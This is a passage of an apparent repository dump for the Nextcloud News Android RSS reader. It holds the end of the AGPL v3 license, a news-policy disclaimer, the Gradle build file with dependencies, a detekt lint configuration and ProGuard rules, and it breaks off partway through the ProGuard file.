Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Remote Network Interaction; Use with the GNU General Public License.\n\n  Notwithstanding any other provision of this License, if you modify the\nProgram, your modified version must prominently offer all users\ninteracting with it remotely through a computer network (if your version\nsupports such interaction) an opportunity to receive the Corresponding\nSource of your version by providing access to the Corresponding Source\nfrom a network server at no charge, through some standard or customary\nmeans of facilitating copying of software.  This Corresponding Source\nshall include the Corresponding Source for any work covered by version 3\nof the GNU General Public License that is incorporated pursuant to the\nfollowing paragraph.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the work with which it is combined will remain governed by version\n3 of the GNU General Public License.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU Affero General Public License from time to time.  Such new versions\nwill be similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU Affero General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU Affero General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU Affero General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU Affero General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If your software can interact with users remotely through a computer\nnetwork, you should also make sure that it provides a way for users to\nget its source.  For example, if your program is a web application, its\ninterface could display a \"Source\" link that leads users to an archive\nof the code.  There are many ways you could offer source, and different\nsolutions will be better for different programs; see section 13 for the\nspecific requirements.\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU AGPL, see\n<http://www.gnu.org/licenses/>."
  },
  {
    "path": "COPYING-README.md",
    "content": "Files in the ownCloud News Reader Android App Repo are licensed under the Affero General Public License version 3,\nthe text of which can be found in COPYING-AGPL, or any later version of the AGPL,\nunless otherwise noted."
  },
  {
    "path": "Gemfile",
    "content": "source \"https://rubygems.org\"\n\ngem \"fastlane\"\n"
  },
  {
    "path": "NEWS-POLICY.md",
    "content": "# Nextcloud News Android [News Policy](https://support.google.com/googleplay/android-developer/answer/9935326)\n\nThe \"Nextcloud News\" Android-App (in the following referred to as \"App\") is RSS feed aggregator that allows users to subscribe to and read content from various external news sources and blogs. Please read the following disclaimer carefully as it contains important information about the use of our app.\n\n**Nature of Content:** \"Nextcloud News\" is a platform for aggregating content from a variety of RSS feeds chosen by our users. We do not create, endorse, or control any of the content displayed in the app. The views and opinions expressed in the articles are those of the original publishers and authors and do not necessarily reflect the official policy or position of our App.\n\n**Source Transparency:** For each article, we strive to provide clear information about the publisher and author. We believe in transparency and aim to guide users in recognizing the source of the information.\n\n**Age of Content:** The content displayed in our app is in real-time from the chosen RSS feeds.\nConsequently, we cannot guarantee that all content is current or less than three months old. Users\nare encouraged to check the publication dates and validity of the information in the feeds they\nsubscribe to.\n\n**Contact Information:** For any queries or concerns regarding the app, please refer to the '\nContact' section below.\n\n**User Responsibility:** As users have the freedom to choose their own RSS feeds, we encourage\nresponsible usage. We advise our users to select reputable and reliable news sources. Our app is not\nresponsible for the accuracy or reliability of any information provided by external sources.\n\n**Updates to Disclaimer:** This disclaimer is subject to changes and updates. We will notify users\nof any significant changes through our app or website. Continued use of the app after such changes\nwill constitute acceptance of the new terms.\n\nThank you for choosing Nextcloud News for your news and information needs. We are dedicated to\nproviding a platform that respects the diversity of content and promotes informed reading.\n\n## Contact\n\n- **David Luhmer**\n- **E-Mail:** david-dev(at)live.de\n- **Phone:** +49 2222 9770191"
  },
  {
    "path": "News-Android-App/.gitignore",
    "content": "/build\n"
  },
  {
    "path": "News-Android-App/build.gradle",
    "content": "plugins {\n    id 'com.android.application'\n    id 'com.google.devtools.ksp'\n    id 'io.gitlab.arturbosch.detekt' version \"1.23.8\"\n    id \"com.diffplug.spotless\" version \"8.2.1\"\n}\n\nandroid {\n    testOptions.unitTests.includeAndroidResources = true\n\n    defaultConfig {\n        compileSdk = Integer.parseInt(project.ANDROID_BUILD_SDK_VERSION)\n        minSdkVersion Integer.parseInt(project.ANDROID_BUILD_MIN_SDK_VERSION)\n        targetSdkVersion Integer.parseInt(project.ANDROID_BUILD_TARGET_SDK_VERSION)\n\n        //testInstrumentationRunner \"androidx.test.runner.AndroidJUnitRunner\"\n        testInstrumentationRunner \"de.luhmer.owncloudnewsreader.CustomTestRunner\"\n\n        // The following argument makes the Android Test Orchestrator run its\n        // \"pm clear\" command after each test invocation. This command ensures\n        // that the app's state is completely cleared between tests.\n        testInstrumentationRunnerArguments clearPackageData: 'true'\n\n        vectorDrawables.useSupportLibrary = true\n\n        versionCode 196\n        versionName \"0.9.9.95\"\n    }\n\n    buildFeatures {\n        buildConfig true\n        viewBinding true\n    }\n\n    testOptions {\n        execution 'ANDROIDX_TEST_ORCHESTRATOR'\n        unitTests.returnDefaultValues = true\n    }\n\n    compileOptions {\n        coreLibraryDesugaringEnabled true\n        sourceCompatibility JavaVersion.VERSION_17\n        targetCompatibility JavaVersion.VERSION_17\n    }\n\n    buildTypes {\n        debug {\n            shrinkResources false\n            minifyEnabled false\n            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'\n            testProguardFiles 'proguard-test.pro'\n            pseudoLocalesEnabled true\n        }\n        release {\n            shrinkResources true\n            minifyEnabled true\n            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'\n            testProguardFiles 'proguard-test.pro'\n            //signingConfig signingConfigs.debug\n        }\n    }\n\n    flavorDimensions = [\"default\"]\n\n    productFlavors {\n        // 100% Open-Source Edition\n        oss {\n            dimension \"default\"\n        }\n        // Used for continous integration, e.g. to test built .apk-files from pull requests\n        dev {\n            dimension \"default\"\n            applicationIdSuffix \".dev\"\n        }\n    }\n\n    spotless {\n        kotlin {\n            target 'src/*/java/**/*.kt'\n            ktlint()\n        }\n    }\n\n    packagingOptions {\n        resources {\n            excludes += ['META-INF/LICENSE.txt', 'META-INF/NOTICE.txt', 'LICENSE.txt', 'META-INF/services/javax.annotation.processing.Processor']\n        }\n    }\n\n    // Gradle automatically adds 'android.test.runner' as a dependency.\n    useLibrary 'android.test.runner'\n    useLibrary 'android.test.base'\n    useLibrary 'android.test.mock'\n    lint {\n        abortOnError true\n        checkReleaseBuilds false\n        disable 'MissingTranslation', 'ExtraTranslation', 'MissingQuantity', 'InconsistentArrays', 'TypographyEllipsis'\n        ignoreWarnings true\n    }\n    namespace 'de.luhmer.owncloudnewsreader'\n\n}\n\nrepositories {\n    google()\n    mavenCentral()\n    maven {\n        url \"https://jitpack.io\"\n        content {\n            includeGroup \"com.github.nextcloud\"\n        }\n    }\n    maven { url 'https://guardian.github.io/maven/repo-releases' }\n    //needed for com.gu:option:1.3 in Android-DirectoryChooser\n}\n\nfinal DAGGER_VERSION = '2.59.2'\nfinal GLIDE_VERSION = '5.0.5'\nfinal ESPRESSO_VERSION = '3.7.0'\nfinal OKHTTP_VERSION = '5.3.2'\nfinal MOCKITO_VERSION = '5.21.0'\nfinal RETROFIT_VERSION = '3.0.0'\n\ndependencies {\n    // core android studio module\n    // compile project(':core')\n    // You must install or update the Google Repository through the SDK manager to use this dependency.\n    // The Google Repository (separate from the corresponding library) can be found in the Extras category.\n    // implementation 'com.google.android.gms:play-services:4.2.42'\n    // implementation project(path: ':MaterialShowcaseView:library', configuration: 'default')\n    // implementation project(':Android-SingleSignOn:lib')\n    implementation 'com.github.nextcloud:Android-SingleSignOn:f401ec4'\n    // latest version which uses OKHTTP 5\n    implementation \"androidx.core:core:1.17.0\"\n    implementation 'androidx.annotation:annotation:1.9.1'\n    implementation \"androidx.appcompat:appcompat:1.7.1\"\n    implementation \"androidx.preference:preference:1.2.1\"\n    implementation 'androidx.core:core-splashscreen:1.2.0'\n    implementation \"androidx.media:media:1.7.1\"\n\n    // https://mvnrepository.com/artifact/com.google.android.material/material\n    implementation \"com.google.android.material:material:1.13.0\"\n    implementation \"androidx.palette:palette:1.0.0\"\n    implementation \"androidx.recyclerview:recyclerview:1.4.0\"\n    implementation \"androidx.browser:browser:1.9.0\"\n    implementation \"androidx.cardview:cardview:1.0.0\"\n    implementation 'androidx.constraintlayout:constraintlayout:2.2.1'\n    implementation 'androidx.swiperefreshlayout:swiperefreshlayout:1.2.0'\n    implementation 'com.google.code.gson:gson:2.13.2'\n\n    implementation \"com.github.bumptech.glide:glide:${GLIDE_VERSION}\"\n    ksp \"com.github.bumptech.glide:ksp:${GLIDE_VERSION}\"\n    debugImplementation \"com.github.technoir42:glide-debug-indicator:0.9.1\"\n    implementation 'com.caverock:androidsvg-aar:1.4'\n\n    implementation 'com.sothree.slidinguppanel:library:3.4.0'\n\n    implementation 'org.greenrobot:eventbus:3.3.1'\n    implementation 'de.greenrobot:greendao:2.1.0'\n    implementation ('de.greenrobot:greendao-generator:2.1.0') {\n        exclude group: 'org.freemarker'\n    }\n\n    // implementation 'org.freemarker:freemarker:2.3.23' // Required for DAO generation\n    // implementation 'org.apache.commons:commons-lang3:3.4' // Required for DAO generation\n\n    implementation 'com.github.gabrielemariotti.changeloglib:changelog:2.1.0'\n    implementation 'org.jsoup:jsoup:1.22.1'\n    implementation ('net.rdrei.android.dirchooser:library:3.2@aar') {\n        exclude group: 'com.google.auto.value', module: 'auto-value'\n        transitive = true\n    }\n\n    implementation \"com.google.dagger:dagger:${DAGGER_VERSION}\"\n    ksp \"com.google.dagger:dagger-compiler:${DAGGER_VERSION}\"\n\n    implementation 'io.reactivex.rxjava3:rxandroid:3.0.2'\n    // Because RxAndroid releases are few and far between, it is recommended you also\n    // explicitly depend on RxJava's latest version for bug fixes and new features.\n    implementation 'io.reactivex.rxjava3:rxjava:3.1.12'\n    implementation \"com.squareup.retrofit2:adapter-rxjava3:$RETROFIT_VERSION\"\n\n    implementation \"com.squareup.retrofit2:retrofit:$RETROFIT_VERSION\"\n    implementation \"com.squareup.retrofit2:converter-gson:$RETROFIT_VERSION\"\n    implementation \"com.squareup.okhttp3:okhttp:${OKHTTP_VERSION}\"\n    implementation \"com.squareup.okhttp3:logging-interceptor:${OKHTTP_VERSION}\"\n\n    coreLibraryDesugaring 'com.android.tools:desugar_jdk_libs:2.1.5'\n\n    testImplementation 'junit:junit:4.13.2'\n    testImplementation(\"org.mockito:mockito-core:$MOCKITO_VERSION\") {\n        exclude group: 'org.hamcrest'\n    }\n    testImplementation 'com.google.dexmaker:dexmaker:1.2'\n    testImplementation 'com.google.dexmaker:dexmaker-mockito:1.2'\n    testImplementation \"com.squareup.okhttp3:mockwebserver:${OKHTTP_VERSION}\"\n\n    // https://mvnrepository.com/artifact/com.squareup.okhttp3/mockwebserver\n    //androidTestImplementation \"com.squareup.okhttp3:mockwebserver:${OKHTTP_VERSION}\"\n\n\n    androidTestImplementation 'tools.fastlane:screengrab:2.1.1'\n    // Add falcon:2.2.0 explicitly, because screengrab:2.1.0 relies on falcon:2.1.1 which is not available on mavenCentral\n    // See https://github.com/fastlane/fastlane/issues/12651#issuecomment-849653404\n    androidTestImplementation 'com.jraska:falcon:2.2.0'\n    //androidTestImplementation \"org.mockito:mockito-core:MOCKITO_VERSION\"\n    androidTestImplementation \"org.mockito:mockito-android:$MOCKITO_VERSION\"\n\n\n    //androidTestImplementation 'com.google.dexmaker:dexmaker:1.2'\n    //androidTestImplementation 'com.google.dexmaker:dexmaker-mockito:1.2'\n\n    testImplementation 'org.robolectric:robolectric:4.16.1'\n\n    // Core library\n    androidTestImplementation 'androidx.test:core:1.7.0'\n\n    // AndroidJUnitRunner and JUnit Rules\n    androidTestImplementation 'androidx.test:runner:1.7.0'\n    androidTestImplementation 'androidx.test:rules:1.7.0'\n\n    // Assertions\n    androidTestImplementation 'androidx.test.ext:junit:1.3.0'\n    androidTestImplementation 'androidx.test.ext:truth:1.7.0'\n    androidTestImplementation 'com.google.truth:truth:1.4.5'\n\n    // Espresso dependencies\n    androidTestImplementation \"androidx.test.espresso:espresso-core:$ESPRESSO_VERSION\"\n    androidTestImplementation \"androidx.test.espresso:espresso-contrib:$ESPRESSO_VERSION\"\n    androidTestImplementation \"androidx.test.espresso:espresso-intents:$ESPRESSO_VERSION\"\n    androidTestImplementation \"androidx.test.espresso:espresso-accessibility:$ESPRESSO_VERSION\"\n    androidTestImplementation \"androidx.test.espresso:espresso-web:$ESPRESSO_VERSION\"\n    androidTestImplementation \"androidx.test.espresso.idling:idling-concurrent:$ESPRESSO_VERSION\"\n\n    // https://developer.android.com/training/testing/junit-runner.html#using-android-test-orchestrator\n    androidTestUtil 'androidx.test:orchestrator:1.6.1'\n\n    // The following Espresso dependency can be either \"implementation\"\n    // or \"androidTestImplementation\", depending on whether you want the\n    // dependency to appear on your APK's compile classpath or the test APK\n    // classpath.\n    //androidTestImplementation 'androidx.test.espresso:espresso-idling-resource:3.1.1'\n}\n"
  },
  {
    "path": "News-Android-App/config/detekt/detekt.yml",
    "content": "build:\n  maxIssues: 0\n  weights:\n  # complexity: 2\n  # LongParameterList: 1\n  # style: 1\n  # comments: 1\n\nprocessors:\n  active: true\n  exclude:\n  # - 'FunctionCountProcessor'\n  # - 'PropertyCountProcessor'\n  # - 'ClassCountProcessor'\n  # - 'PackageCountProcessor'\n  # - 'KtFileCountProcessor'\n\nconsole-reports:\n  active: true\n  exclude:\n  #  - 'ProjectStatisticsReport'\n  #  - 'ComplexityReport'\n  #  - 'NotificationReport'\n  #  - 'FindingsReport'\n  #  - 'BuildFailureReport'\n\ncomments:\n  active: true\n  CommentOverPrivateFunction:\n    active: false\n  CommentOverPrivateProperty:\n    active: false\n  EndOfSentenceFormat:\n    active: false\n    endOfSentenceFormat: ([.?!][ \\t\\n\\r\\f<])|([.?!]$)\n  UndocumentedPublicClass:\n    active: false\n    searchInNestedClass: true\n    searchInInnerClass: true\n    searchInInnerObject: true\n    searchInInnerInterface: true\n  UndocumentedPublicFunction:\n    active: false\n\ncomplexity:\n  active: true\n  ComplexCondition:\n    active: true\n    threshold: 4\n  ComplexInterface:\n    active: false\n    threshold: 10\n    includeStaticDeclarations: false\n  ComplexMethod:\n    active: true\n    threshold: 10\n    ignoreSingleWhenExpression: false\n    ignoreSimpleWhenEntries: false\n    excludes: ['**/androidTest/**']\n  LabeledExpression:\n    active: false\n    ignoredLabels: \"\"\n  LargeClass:\n    active: true\n    threshold: 600\n  LongMethod:\n    active: true\n    threshold: 60\n    excludes: ['**/androidTest/**']\n  LongParameterList:\n    active: true\n    functionThreshold: 6\n    constructorThreshold: 6\n    ignoreDefaultParameters: false\n  MethodOverloading:\n    active: false\n    threshold: 6\n  NestedBlockDepth:\n    active: true\n    threshold: 4\n  StringLiteralDuplication:\n    active: false\n    threshold: 3\n    ignoreAnnotation: true\n    excludeStringsWithLessThan5Characters: true\n    ignoreStringsRegex: '$^'\n  TooManyFunctions:\n    active: true\n    thresholdInFiles: 15\n    thresholdInClasses: 15\n    thresholdInInterfaces: 15\n    thresholdInObjects: 15\n    thresholdInEnums: 11\n    ignoreDeprecated: true\n    ignorePrivate: false\n    ignoreOverridden: true\n\nempty-blocks:\n  active: true\n  EmptyCatchBlock:\n    active: true\n    allowedExceptionNameRegex: \"^(_|(ignore|expected).*)\"\n  EmptyClassBlock:\n    active: true\n  EmptyDefaultConstructor:\n    active: true\n  EmptyDoWhileBlock:\n    active: true\n  EmptyElseBlock:\n    active: true\n  EmptyFinallyBlock:\n    active: true\n  EmptyForBlock:\n    active: true\n  EmptyFunctionBlock:\n    active: true\n    ignoreOverridden: false\n  EmptyIfBlock:\n    active: true\n  EmptyInitBlock:\n    active: true\n  EmptyKtFile:\n    active: true\n  EmptySecondaryConstructor:\n    active: true\n  EmptyWhenBlock:\n    active: true\n  EmptyWhileBlock:\n    active: true\n\nexceptions:\n  active: true\n  ExceptionRaisedInUnexpectedLocation:\n    active: false\n    methodNames: 'toString,hashCode,equals,finalize'\n  InstanceOfCheckForException:\n    active: false\n  NotImplementedDeclaration:\n    active: false\n  PrintStackTrace:\n    active: false\n  RethrowCaughtException:\n    active: false\n  ReturnFromFinally:\n    active: false\n  SwallowedException:\n    active: false\n    ignoredExceptionTypes: 'InterruptedException,NumberFormatException,ParseException,MalformedURLException'\n  ThrowingExceptionFromFinally:\n    active: false\n  ThrowingExceptionInMain:\n    active: false\n  ThrowingExceptionsWithoutMessageOrCause:\n    active: false\n    exceptions: 'IllegalArgumentException,IllegalStateException,IOException'\n  ThrowingNewInstanceOfSameException:\n    active: false\n  TooGenericExceptionCaught:\n    active: true\n    exceptionNames:\n      - ArrayIndexOutOfBoundsException\n      - Error\n      - Exception\n      - IllegalMonitorStateException\n      - NullPointerException\n      - IndexOutOfBoundsException\n      - RuntimeException\n      - Throwable\n    allowedExceptionNameRegex: \"^(_|(ignore|expected).*)\"\n  TooGenericExceptionThrown:\n    active: true\n    exceptionNames:\n      - Error\n      - Exception\n      - Throwable\n      - RuntimeException\n\nnaming:\n  active: true\n  ClassNaming:\n    active: true\n    classPattern: '[A-Z$][a-zA-Z0-9$]*'\n  ConstructorParameterNaming:\n    active: true\n    parameterPattern: '[a-z][A-Za-z0-9]*'\n    privateParameterPattern: '[a-z][A-Za-z0-9]*'\n    excludeClassPattern: '$^'\n  EnumNaming:\n    active: true\n    enumEntryPattern: '^[A-Z][_a-zA-Z0-9]*'\n  ForbiddenClassName:\n    active: false\n    forbiddenName: ''\n  FunctionMaxLength:\n    active: false\n    maximumFunctionNameLength: 30\n  FunctionMinLength:\n    active: false\n    minimumFunctionNameLength: 3\n  FunctionNaming:\n    active: true\n    functionPattern: '^([a-z$][a-zA-Z$0-9]*)|(`.*`)$'\n    excludeClassPattern: '$^'\n    ignoreOverridden: true\n    excludes:\n      - \"**/*Test.kt\"\n      - \"**/*IT.kt\"\n  FunctionParameterNaming:\n    active: true\n    parameterPattern: '[a-z][A-Za-z0-9]*'\n    excludeClassPattern: '$^'\n    ignoreOverridden: true\n  MatchingDeclarationName:\n    active: true\n  MemberNameEqualsClassName:\n    active: false\n    ignoreOverridden: true\n  ObjectPropertyNaming:\n    active: true\n    constantPattern: '[A-Za-z][_A-Za-z0-9]*'\n    propertyPattern: '[A-Za-z][_A-Za-z0-9]*'\n    privatePropertyPattern: '(_)?[A-Za-z][_A-Za-z0-9]*'\n  PackageNaming:\n    active: true\n    packagePattern: '^[a-z]+(\\.[a-z][A-Za-z0-9]*)*$'\n  TopLevelPropertyNaming:\n    active: true\n    constantPattern: '[A-Z][_A-Z0-9]*'\n    propertyPattern: '[A-Za-z][_A-Za-z0-9]*'\n    privatePropertyPattern: '(_)?[A-Za-z][A-Za-z0-9]*'\n  VariableMaxLength:\n    active: false\n    maximumVariableNameLength: 64\n  VariableMinLength:\n    active: false\n    minimumVariableNameLength: 1\n  VariableNaming:\n    active: true\n    variablePattern: '[a-z][A-Za-z0-9]*'\n    privateVariablePattern: '(_)?[a-z][A-Za-z0-9]*'\n    excludeClassPattern: '$^'\n    ignoreOverridden: true\n\nperformance:\n  active: true\n  ArrayPrimitive:\n    active: false\n  ForEachOnRange:\n    active: true\n  SpreadOperator:\n    active: true\n  UnnecessaryTemporaryInstantiation:\n    active: true\n\npotential-bugs:\n  active: true\n  DuplicateCaseInWhenExpression:\n    active: true\n  EqualsAlwaysReturnsTrueOrFalse:\n    active: false\n  EqualsWithHashCodeExist:\n    active: true\n  ExplicitGarbageCollectionCall:\n    active: true\n  InvalidRange:\n    active: false\n  IteratorHasNextCallsNextMethod:\n    active: false\n  IteratorNotThrowingNoSuchElementException:\n    active: false\n  LateinitUsage:\n    active: false\n    ignoreAnnotated: []\n    ignoreOnClassesPattern: \"\"\n  UnconditionalJumpStatementInLoop:\n    active: false\n  UnreachableCode:\n    active: true\n  UnsafeCallOnNullableType:\n    active: false\n  UnsafeCast:\n    active: false\n  UselessPostfixExpression:\n    active: false\n  WrongEqualsTypeParameter:\n    active: false\n\nstyle:\n  active: true\n  CollapsibleIfStatements:\n    active: false\n  DataClassContainsFunctions:\n    active: false\n    conversionFunctionPrefix: 'to'\n  EqualsNullCall:\n    active: false\n  EqualsOnSignatureLine:\n    active: false\n  ExplicitItLambdaParameter:\n    active: false\n  ExpressionBodySyntax:\n    active: false\n    includeLineWrapping: false\n  ForbiddenComment:\n    active: true\n    values: 'TODO:,FIXME:,STOPSHIP:'\n  ForbiddenImport:\n    active: false\n    imports: ''\n  ForbiddenVoid:\n    active: false\n  FunctionOnlyReturningConstant:\n    active: false\n    ignoreOverridableFunction: true\n    excludedFunctions: 'describeContents'\n  LoopWithTooManyJumpStatements:\n    active: false\n    maxJumpCount: 1\n  MagicNumber:\n    active: true\n    ignoreNumbers: '-1,0,1,2'\n    ignoreHashCodeFunction: true\n    ignorePropertyDeclaration: false\n    ignoreConstantDeclaration: true\n    ignoreCompanionObjectPropertyDeclaration: true\n    ignoreAnnotation: false\n    ignoreNamedArgument: true\n    ignoreEnums: false\n    excludes:\n      - \"**/*Test.kt\"\n      - \"**/*IT.kt\"\n  MandatoryBracesIfStatements:\n    active: false\n  MaxLineLength:\n    active: true\n    maxLineLength: 120\n    excludePackageStatements: true\n    excludeImportStatements: true\n    excludeCommentStatements: false\n  MayBeConst:\n    active: false\n  ModifierOrder:\n    active: true\n  NestedClassesVisibility:\n    active: false\n  NewLineAtEndOfFile:\n    active: true\n  NoTabs:\n    active: false\n  OptionalAbstractKeyword:\n    active: true\n  OptionalUnit:\n    active: false\n  OptionalWhenBraces:\n    active: false\n  PreferToOverPairSyntax:\n    active: false\n  ProtectedMemberInFinalClass:\n    active: false\n  RedundantVisibilityModifierRule:\n    active: false\n  ReturnCount:\n    active: true\n    max: 2\n    excludedFunctions: \"equals\"\n    excludeLabeled: false\n    excludeReturnFromLambda: true\n  SafeCast:\n    active: true\n  SerialVersionUIDInSerializableClass:\n    active: false\n  SpacingBetweenPackageAndImports:\n    active: false\n  ThrowsCount:\n    active: true\n    max: 2\n  TrailingWhitespace:\n    active: false\n  UnderscoresInNumericLiterals:\n    active: false\n    acceptableLength: 5\n  UnnecessaryAbstractClass:\n    active: false\n    ignoreAnnotated:\n      - \"dagger.Module\"\n  UnnecessaryApply:\n    active: false\n  UnnecessaryInheritance:\n    active: false\n  UnnecessaryLet:\n    active: false\n  UnnecessaryParentheses:\n    active: false\n  UntilInsteadOfRangeTo:\n    active: false\n  UnusedImports:\n    active: false\n  UnusedPrivateClass:\n    active: false\n  UnusedPrivateMember:\n    active: false\n    allowedNames: \"(_|ignored|expected|serialVersionUID)\"\n  UseDataClass:\n    active: false\n    ignoreAnnotated: []\n  UtilityClassWithPublicConstructor:\n    active: false\n  VarCouldBeVal:\n    active: false\n  WildcardImport:\n    active: true\n    excludeImports: 'java.util.*,kotlinx.android.synthetic.*'\n"
  },
  {
    "path": "News-Android-App/proguard-rules.pro",
    "content": "# Add project specific ProGuard rules here.\n# By default, the flags in this file are appended to flags specified\n# in /opt/android-studio/sdk/tools/proguard/proguard-android.txt\n# You can edit the include path and order by changing the ProGuard\n# include property in project.properties.\n#\n# For more details, see\n#   http://developer.android.com/guide/developing/tools/proguard.html\n\n# Add any project specific keep options here:\n\n# If your project uses WebView with JS, uncomment the following\n# and specify the fully qualified class name to the JavaScript interface\n# class:\n#-keepclassmembers class fqcn.of.javascript.interface.for.webview {\n#   public *;\n#}\n\n# Required for Test execution\n-dontwarn org.xmlpull.v1.**\n-dontwarn org.apache.tools.ant.**\n-dontwarn java.beans.**\n-dontwarn javax.naming.**\n-dontwarn sun.misc.Unsafe\n\n\n# Mockito\n-dontwarn org.mockito.**\n\n\n-keepnames class * implements java.io.Serializable\n\n-keepclassmembers class * implements java.io.Serializable {\n    static final long serialVersionUID;\n    private static final java.io.ObjectStreamField[] serialPersistentFields;\n    !static !transient <fields>;\n    private void writeObject(java.io.ObjectOutputStream);\n    private void readObject(java.io.ObjectInputStream);\n    java.lang.Object writeReplace();\n    java.lang.Object readResolve();\n}\n\n\n# AndroidSlidingUpPanel\n# https://github.com/umano/AndroidSlidingUpPanel/issues/921\n-dontwarn com.sothree.slidinguppanel.SlidingUpPanelLayout\n\n# jsoup\n-dontwarn com.google.re2j.*\n\n# Other Libraries\n-dontwarn org.apache.velocity.**\n-dontwarn freemarker.**\n-dontwarn com.google.auto.value.**\n-dontwarn autovalue.shaded.**\n#-keep class com.gu.option.Option\n#-keep class com.gu.option.UnitFunction\n\n# keep application classes used as database and network models\n-keep class de.luhmer.owncloudnewsreader.database.model.** { *; }\n-keep class de.luhmer.owncloudnewsreader.reader.nextcloud.ItemIds { *; }\n-keep class de.luhmer.owncloudnewsreader.reader.nextcloud.ItemMap { *; }\n-keep class de.luhmer.owncloudnewsreader.model.** { *; }\n# keep the name of SyncItemStateService so SyncItemStateService.isMyServiceRunning works\n-keepnames class de.luhmer.owncloudnewsreader.services.SyncItemStateService\n# keep fields necessary for NewsReaderListActivity.adjustEdgeSizeOfDrawer and NewsReaderListActivity.getEdgeSizeOfDrawer to work\n-keepclassmembers class androidx.drawerlayout.widget.DrawerLayout {\n    private androidx.customview.widget.ViewDragHelper mLeftDragger;\n}\n-keepclassmembers class androidx.customview.widget.ViewDragHelper {\n    private int mEdgeSize;\n}\n\n-printmapping out.map\n-keepattributes SourceFile,LineNumberTable\n-renamesourcefileattribute SourceFile\n\n###############\n# GreenDAO\n-keep class de.greenrobot.** { *; }\n-dontwarn de.greenrobot.daogenerator.DaoGenerator\n\n-keepclassmembers class * extends de.greenrobot.dao.AbstractDao { *; }\n\n\n###############\n# Guava (official)\n## Not yet defined: follow https://github.com/google/guava/issues/2117\n# Guava (unofficial)\n## https://github.com/google/guava/issues/2926#issuecomment-325455128\n## https://stackoverflow.com/questions/9120338/proguard-configuration-for-guava-with-obfuscation-and-optimization\n-dontwarn com.google.common.base.**\n-dontwarn com.google.errorprone.annotations.**\n-dontwarn com.google.j2objc.annotations.**\n-dontwarn java.lang.ClassValue\n-dontwarn 